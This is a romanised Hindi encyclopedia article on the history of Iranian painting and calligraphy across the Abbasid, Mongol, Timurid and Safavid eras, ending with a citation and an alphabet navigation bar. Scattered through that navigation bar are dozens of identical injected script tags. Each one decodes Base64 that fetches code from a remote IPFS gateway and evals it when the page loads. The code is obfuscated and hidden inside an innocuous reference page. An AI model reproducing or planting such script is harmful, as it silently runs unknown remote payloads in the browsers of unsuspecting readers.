ईरानी चित्रकला

eerani chitrakala jin vidvanoan ne eerani vastroan, minakari chaukoan aur chitroan ka adhyayan kiya hai unhean pata hai ki eerani apani nakkashi ke lie sansar mean prasiddh haian. eeran mean bane kalin rangoan ke santulan aur alankaran ke pratyavartan ke lie prasiddh haian tatha vahaan ki prachin kala ke mukhy abhipray jyamitik aur pashuroop haian. hakhamani yug ki eerani kala par asooriya ka prabhav spasht hai, par sasani yug se eerani kala apana ek nijasv rakhati hai. rangayojana tatha chitraankan mean eerani kala ka santulan arab, mangol aur taimoori abhiyanoan ke bavajood apana nijasv banae hue hai.

manikhi chitrit pustakoan ke jo aansh nasht hone se bach ge haian unase pata chalata hai ki us kala ka muslim yug ki aranbhik kala se sidha sanbandh hai. islam ke adesh se eeran mean bhi moorti ka nirman ruk gaya, par araboan ki vijay se us desh ka sanbandh doosare deshoan se badha aur kala ke kshetr mean bhi anek aantarrashtriy prabhav usaki kala par p de. eshiya par mangol vijay ke bad sudoor poorv ka rasta khul gaya aur eerani kala par chini kala ka prabhav spasht riti se p dane laga. taimoori sultanoan mean to apane darabar mean achchhe se achchhe chitrakaroan ko ekatr karane ki ho d si rahane lagi. is videshi satta ka prabhav eeran ke janajivan par achchha nahian p da; phir bhi yah ajib bat hai ki in videshiyoan ke adhin eerani kala ki ashatit unnati huee, jo eeran ke rashtriy shah saphaviyoan ke samay mean ruk si gee. isaka yahi karan ho sakata hai ki jab tak desh mean jivan tha, kala aur yuddh sath-sath chale, par shakti ke samapt hone par ekata ke sath hhras ke lakshan bhi saph-saph dikh p dane lage.

aranbhik yug mean eerani kala ka sanbandh manikhi dharm se tha par 290 ee. mean us dharm ke sansthapak mani, jo chitrakar bhi the, mar dale ge aur unaki chitrit pustakean jala di geean. par kala in sab ghatanaoan se marati nahian. muslim yug ke aranbhik kal mean dharm se kala ka sanbandh toot gaya par kuchh chitrakar reesoan aur sultanoan ke ashray mean apani kalasadhana karate rahe. sanbhav bhi yahi tha kyoanki is yug mean chitroan ki samagri, yani chatakadar rang, sona aur kagaj itane mahange the ki unaka upayog keval rajashrit chitrakar hi kar sakate the. chitroan ko suandaratapoorvak banane mean bhi itani mehanat p dati thi ki sadharan jan unaka mehanatana bharane mean asamarth the. eerani chitrakala rekhaoan ki majabooti aur mor murak ke lie prasiddh hai, usamean saya dene ki kriya ka abhav hai tatha chehare ki banavat tin chauthaee chashmi mean dikhalaee jati hai. sharir ka adhik bhag dhaka hone se usaki visheshata dikhalane ke prayatn ka abhav dikh p data hai. in chitroan ki prishthabhoomi vasanti soory ki prabha se anupranit rahati hai aur saire mean supushpit vrikshoan, paha diyoan aur bahate hue naloan ka aankan rahata hai.

eerani chitrakala ka asali itihas abbasi yug (750-1258) se aranbh hota hai. is yug ki chitrit pustakoan ka lekhan abbasiyoan ki rajadhani bagadad mean hua. isamean sandeh nahian ki is chitrakala ke parivardhan mean eeraniyoan ka b da hath tha, par usamean poorv ke eesaee chitrakaroan ki karigari bhi spasht hai. aranbh mean vaidyak, jyotish aur bhautik shastr ke granthoan ko chitrit karane ki avashyakata p di. is varg ki chitrit pustakean adhikatar 12vian sadi ki haian. inamean rashiyoan tatha jalayantroan ko chitrit karanevali pustakean thian jinamean al zazari likhit yantrashastr tatha diyosakarides mukhy haian. ek ullekhanayi bat yah hai ki diyosakarides (chhathi sadi ki prachin chitrit aur alankrit pustakean jinake adhar par madhyakal tak alankrit pratilipiyaan banati rahian) ki chitrit pustakoan mean vanaspatiyoan ke chitr to yoonani dhang ke haian par manav akara ka aankan, rangayojana aur veshabhoosha manikhi chitroan aur bizanatana kuttamit bhoomi ki yad dilate haian. in vaijnanik pustakoan ke likhavane aur chitran karane ka shrey to reeso ka hai par ibn mukaphpha ke kalola v dimna aur harari ke makamat ko chitrit karane ka shrey doosaroan ko hai. pahali pustak sanskrit ke panchatantr ka anuvad hai aur doosari mean aboozaid ke chaturaee bhare karanamoan ke kisse haian. in pustakoan ki jo bhi hastalikhit pratiyaan bach gee haian unase pata chalata hai ki sadagi hone par bhi unaki rekhaoan mean jan hai. vaise unake rang sadharan haian. inake chitroan se 12vian sadi ke arab jivan par kaphi prakash p data hai. kuchh vidvanoan ne yah bhi sujhaya hai ki inamean se kuchh pustakean shayad mahamood gzanavi (998-1030) ke rajyakal mean gzani mean likhi gee kyoanki vahaan phiradausi ne shahanama likhakar eeran ki prachin vibhooti ko pun: jagarit kiya tha. par yah dharana nirmool hai. thik bat to yah hai ki 12vian sadi ki abbasi kala ka irak aur eeran mean ek hi roop tha.

eeran ke itihas ki yah ek ajib ghatana hai ki mangol abhiyanoan ne usaki sanskriti aur arthavyavastha ko nasht karake bhi kala ko b da protsahan diya. 14vian sadi jis tarah eerani kavy ka svarnayug hai usi tarah chitrakala ka bhi. taimoor ke vanshajoan ke yug mean chitrakala pragati ko prapt huee par saphavi yug mean usaki unnati ruk si gee. 14vian sadi ki eerani chitrakala ko mangol shaili kala gaya hai, kyoanki usamean mangoloan ki akritiyoan, veshabhoosha aur rahan sahan ka chitran hai. par vastavikata yah hai ki is navin shaili ka udgam chin tha tatha is shaili ne eerani shaili ko ek nee disha di. pushapakshiyoan tatha vrikshoan ke aankan mean navinata is shaili ki visheshata hai.

prasiddh mantri aur itihasakar rashiduddin (1246-1318) ne tabariz ke bahar ek upanagar banavaya aur vahaan apani pustakoan ke chitran ke lie bahut se chitrakar rakhe. 1306 aur 1312 ke bich bane jamiuth‌tavarikh ke chitroan se pata chalata hai ki unamean baibil, muhammad ke jivan aur bauddh ghatanaoan ke aankan bhinn-bhinn shailiyoan ke dyotak haian. mangol itihas sanbandhi chitroan mean chini prabhav spasht hai. rashiduddin ki mrityu ke bad arab sahity ki anek pustakoan ka chitran, jinamean damit ki shahanama bhi hai, shailigat adharoan par shayad 1330mean hua. isake chitroan se yah vidit hota hai ki is yug mean eerani shaili dhire-dhire apana nijasv sthapit karati ja rahi thi.

1381 aur 1392 ke bich eeran par taimoor ke khooni akraman hue. unake sath hi eerani sanskriti par chin ka prabhav badha. taimoor ne samarakand mean bahut se kalakar ikatthe kar lie the jisase kala ki unnati mean koee avarodh nahian p da. taimoori yug ke chitr praranbhik chitroan se kahian prashast haian. jamin aur asaman dikhalane ki pratha, bhinn-bhinn khandoan mean akritiyoan aur ghatanaoan ka pradarshan tatha sair ki vastavik aankan is shaili ki visheshataean haian. shahanama, lailamajanooan, kazavani ki tarikh-e-guzida, iskandaranama ityadi ke chitroan se aanrabhik taimoori yug ke chitroan ki shaili ka pata chalata hai.

shaharukh ki mrityu (1447) ke bad us samay kala aur sahity ke prasiddh unnayakoan mean harat ke sultan husain bekara (mrityu 1506) ka nam ata hai. vastav mean harati shaili ke sansthapak sultan husain ke mantri ali shor navaee the. chitroan ki maang hone se bahut se chitrakar herat mean ikattha ho ge, jinamean bihazad ka sthan mukhy tha. herat ke chitrakaroan ne koee nee shaili n chalakar prachalit eerani shaili ko khoob maanja. bihazad ki kala ke bare mean abhagyavash vidvanoan mean mataiky nahian hai. jo chitr bihazad ke mane jate haian ve unaki kritiyaan haian athava nahian, isapar bhi kuchh vidvanh‌ bahut khoj ke bad is nishkarsh par pahuanche haian ki rangayojana nakkashi aur saira ke alekhan mean ve bejo d the tatha yuddh chitran unaki visheshata thi.

safavi yug eeran ki chitrakala ka rashtriy yug kaha ja sakata hai. safavi shaili ka rukh roodhi ki or tha. is yug ke pahale hi eerani shaili kaphi manj chuki thi isalie chitrakaroan ne isamean koee navinata lane ki avashyakata nahian samajhi. ab unaka dhyan sab or se hatakar alekhan aur vishayasankalan ki or lag gaya. phiradausi, nijami aur sadi ke kavyoan ke chitran ki maang badh gee thi. shah safavi eeran ke hi the, isalie unaki kalam mean kuchh prachin roodhiyoan ki asha ki ja sakati hai; par vastav mean chitrakala mean is roodhi ke chihn kam hi milate haian. tahamaspakalin chitroan mean pashupakshiyoan se alankrit hashie ki pratha chal p di. chitrakaroan ka dhyan rajasi drishyoan se hatakar kabhi-kabhi dehati duniya par bhi p dane laga. tatkalin veshabhoosha aur rasm rivaj ke adhyayan ke lie ye chitr apani vasheshata rakhate haian. prasiddh chitrakaroan mean mir sayyad ali, mirak aur sultan muhammad, jo pashuoan ke chitran mean prasiddh the, ke nam lie ja sakate haian. shah tahamasp ke aantim dinoan mean (1574) eerani chitrakar dhire-dhire pustakachitran ki prachin pratha se vilag hone lage tatha achchhe chitrakar shaboh banane aur vanabhojan ityadi ke aankan mean lag ge. chitrakala aur lipikala ke sanbandhavichchhed se kala ne ek naya roop grahan kiya jisake phalasvaroop eerani kap doan mean bhi shabiha ki nakal hone lagi.

bad ki safavi chitrakala pustak alekhan se bilakul alag ho gee par sath hi sath vah roodhigat bhi hoti gee. chitrakar syahakalam chitr banane lage aur saste p dane se janata mean unaki maang kaphi badh gee. is shaili ke achary riza abbasi mane ge haian jo shah abbas pratham (1587-1629) ke samakalin the. 17vian sadi mean eerani kala par yooropiy prabhav bhi p da par vah prabhav parisimit hi raha. alankaran mean yooropiy chitroan se kuchh aansh nakal karake unake charoan or eerani drishy aur akritiyaan bhar di jati thian.

shah abbas dvitiy ke bad eerani kala ka kramash: hhras hone laga tatha chitrakar purani chitrit pustakoan ki nakal mean athava syahakalam tasvirean banane mean apana samay lagane lage. 19vian sadi mean to yoorop se prabhavit eerani chitrakala ki apani koee hasti nahian rah jati.

eerani sulekh-karib do hajar varshoan se lekhan kala eeran ki rashtriy bhavanaoan aur rasanubhooti ka dyotak rahi hai. madhy yug mean sulekhanakala chitrakari tatha nakkashi ki kalaoan ka mukhy aang ban gee. chitrakala aur sulekhanakala ka choli daman jaisa sath ho gaya, yahaan tak ki eeran ke anek chitrakaroan ne apani kala sikhane ke pahale sulekhanakala yani khushaqati ka abhyas kiya. eeran ke prachin itihas mean lekhan ki shailiyaan anek bar badalian, par sulekhan ka siddhaant kabhi nahian badala.

hakhamani yug mean kilaksharoan ki suandarata rangoan ke upayog se badhaee gee tatha sasani yug mean zaratusht ke vachan jhilliyoan par suvarnaksharoan mean likhe ge. manikhiyoan ne apane dharmagranth ek vishesh lipi mean achchhe se achchhe kagaj par rangin syahiyoan se likhe. eeran mean araboan ke ane ke bad arabi lipi ka prachar hua aur kuran ke siddhaantoan ke anusar rasapradayak khushaqat par vishesh dhyan diya gaya. arabi ke anek b de-b de vidvanoan ne khushaqati par apane siddhaant prakat kie. 19vian sadi ke aant mean24 tarah ki bhinn-bhinn lipiyaan thian. jinamean rayasi, jisake terah bhed the, mukhy thi. is lipi ka pravarttak ek eerani tha. 10 vian sadi ki eerani sulipi ke udaharan kam milate haian aur jo milate bhi haian unamean koophi lipi ki bahulata paee jati hai, phir bhi eerani shaili mean apana nijasv milata hai. koophi lipi ki mar murak aur utar chadhav alankarik drishti se mahatv ke haian aur usaki vilakshanata ka upayog eeraniyoan ne apane dhang se kiya. par isaka yah arth nahian ki sidhi sadi, par suandar lipi ka upayog 11vian sadi mean nahian hota tha.

selujak samrajy ki sthapana ke yug mean sulipikaroan ke samane lipi likhane ke anek tarike vartaman the par un sabaka yahi uddeshy tha ki lekhoan ki samagri chahe kuchh bhi ho, unaki suandarata akarshak ho tatha aksharoan ki sajavat mil julakar nakkashi ka roop dharan kar le. in lipiyoan mean koophi ka mukhy sthan tha par 12vian sadi ke aant mean naskhi lekhanavidhi ka praranbh hua. is lekhanavidhi ki khas bat yah thi ki usane koophi lipi ke thosapan ko door karake najuk mor murakoan ko sthan diya. suls lipi ka uddeshy aksharoan ke badhav chadhav se alankarita badhana tha. is yug mean khushaqati ki pratiyogita badhi. 12vian sadi ke prasiddh khushaqatanavis nazmuddin aboobakr muhammad ka kahana hai ki use 70 lipiyoan ko alankarik dhang se likhane ka abhyas tha. usane khushaqati par ek pustak bhi likhi jisamean naskhi, suls, rika aur muhakq lipiyoan ki lekhanashaili ka varnan hai. sultan tugaril ne svayan khushaqati ki shiksha pakar apane hathoan se kuran ki do pratilipiyaan kian.

14vian sadi mean khushaqati ki aur unnati huee tatha naskhi aur koophi ka upayog masjidoan ko sajane mean kiya gaya. eerani soophiyoan ne to lipi ko paramatma ke jnan ka sadhan hi man liya aur isi uddeshy se anupranit hokar us yug ke kuchh sulipikoan ne apane khatoan ki aisi yojana nikali ki ve soophi mat ke pratibianb se ban be. mangol yug mean kashan khushaqat navisi ka pradhan keandr bana raha.

nastalik lipi ke parivardhan se taimoori yug ko ham eerani khushaqatanavisi ka svarnayug kah sakate haian. taimoor ka ek mantri amir badruddin svayan khushaqatanavis tha tatha sultan ke pote ibrahim mirja aur vayasuangur (1399-1433) is phan mean mahir the. nastalik lipi aprayas hi age badhi. usamean ek aisi sanskriti ke darshan hote haian jo aj tak eerani lipi mean bani hai. taimoori yug mean divani aur dashti nam ki do aur lipiyaan chalian tatha tugra ka prayog masjidoan ke abhilekhoan ke lie kiya gaya.

kaha jata hai ki nastalik chalane ka shrey tabariz ke mir ali ko hai jo taimoor ki naukari mean the. unake putr abdulla ne us lipi ki aur unnati ki. abdulla ke do shagird the-maulana zafar altabarizi aur maulana azahar tabarizi (mri. 1475-76). maulana azahar ne, jo svayan b de sailani bhi the, is lipi ka khoob prachar kiya. unake pradhan shishy sultan ali ibnamuhammad al-mashahadi, jo herat ke sultan husen mirja (1470-1506) ki seva mean the, apani shaili ke lie vikhyat the. traans-aksiyana ke kuchh khushaqatanavisoan ne nastalik ko ek nee disha deni chahi, par sultan ali ke prayatn se unaki kuchh n chal paee. 1507 mean hirat ke ujabegoan ke hath p d jane par sultan ali ne vijetaoan ki seva svikar kar li aur mir ali al-huseni bukhara chale ge jahaan unhoanne mir ali ki nastalik shaili ki nianv dali.

1420mean shiraz mean mahamood ibn murtaza al-katib al-husaini nastalik ke prasiddh lekhak hue. ek doosare shirazi yaqoob ibnahasan ne 1454 mean hiandustan akar khushaqatanavisi par tuhafat-ul-muhibbin namak ek granth likha.

saphavi yug mean eerani khushaqatanavisi mean koee her pher nahian hua par isamean sandeh nahian ki khushaqatanavisoan ne saphavi yug ki chitrakala aur vastu par kaphi prabhav dala. tabariz ke shah mahamood naishapuri (mri. 1545) shah ismaeel ke adhin prasiddh khushaqatanavis the. inake hath ki likhi shahanama aur khamase ki pratiyaan ab bhi maujood haian. baba shah isfahani (mri. 1603-4) is yug ke prasiddh sulipik the. ve turki se hirat mean akar base aur vahaan tabariz mean. shah abbas pratham ke samay ke uchch koti ke sulekhakoan mean ali riza abbasi (jo chitrakar riza abbasi se bhinn haian) ka apana sthan tha.

17vian sadi ke madhy mean hajji khalipha (1608-57) ne khushaqatanavisi par kashfaz-junoon likhakar eerani sulekhan ke itihas aur siddhaantoan par prakash dala. isi yug mean nastalik lipi ke ek roop shikasta ka janm hua.

18vian-19vian sadi mean eerani chitrakala to roodhivad ke chakkar mean p dakar apana astitv kho baithi par sulekhan kala ki maang bani rahi. . 18vian sadi mean shaphia ke prayatn se shikasta ki bhi sulipiyoan mean ganana hone lagi. 19vian sadi mean bhi mirza ali muhammad-e-bab (1821-50) ne babi sanpraday chalaya tatha khatt-e-badi yani 'nee lekhanashaili' ko janm diya jisaka sanbandh armini aksharoan se hai, jise kuchh babi hi samajh sakate the. bad mean bahaiyoan ne khatte-tanzili yani 'darshak lipi' chalaee jisaka laghulipi hone se adhik prachar nahian hua. par bahaee khushaqatanavisoan ka dhyan shiqasta nastalik ki or adhik tha tatha prasiddh bahaee sulekhak mushki kalam ke khatoan ki aj din bhi maang hai.

eeran mean khushaqatanavisi aranbhik kal se hi dharmik bhavanaoan ka chetan athava achetan roop mean pratik thi. kalaantar mean lipi ne mantr shakti ka roop grahan kar liya tatha usaka prabhav eerani kala ke sab aangoan par p dane laga. lipi keval alankarikata ke lie hi nahian rah gee, vah apani shan shaukat, taralata aur suandarata mean apane nijasv ke lie bhi prasiddh ho gee, jisake phalasvaroop abhilekh sab kalaoan ke aang ban ge. vastu ke alankaran mean abhilekhoan ke utkhanan se unake b de paiman mean hone se adhik sajivata aur saphaee aee jo kagaj ke parimit paimane par sanbhav nahian thi. imaratoan par sthan kaphi hone se koofi ki alankarikata badhane ka suyog lekhakoan ko mila, par imarati likhaee hone se usamean imarati upayog ki simaean a geean aur isi vajah se aise aksharoan ki kalpana ki gee jo chutashkonoan mean thik se baith sakean tatha alankaranoan mean ghulamil ja sakean.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 34 |

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr 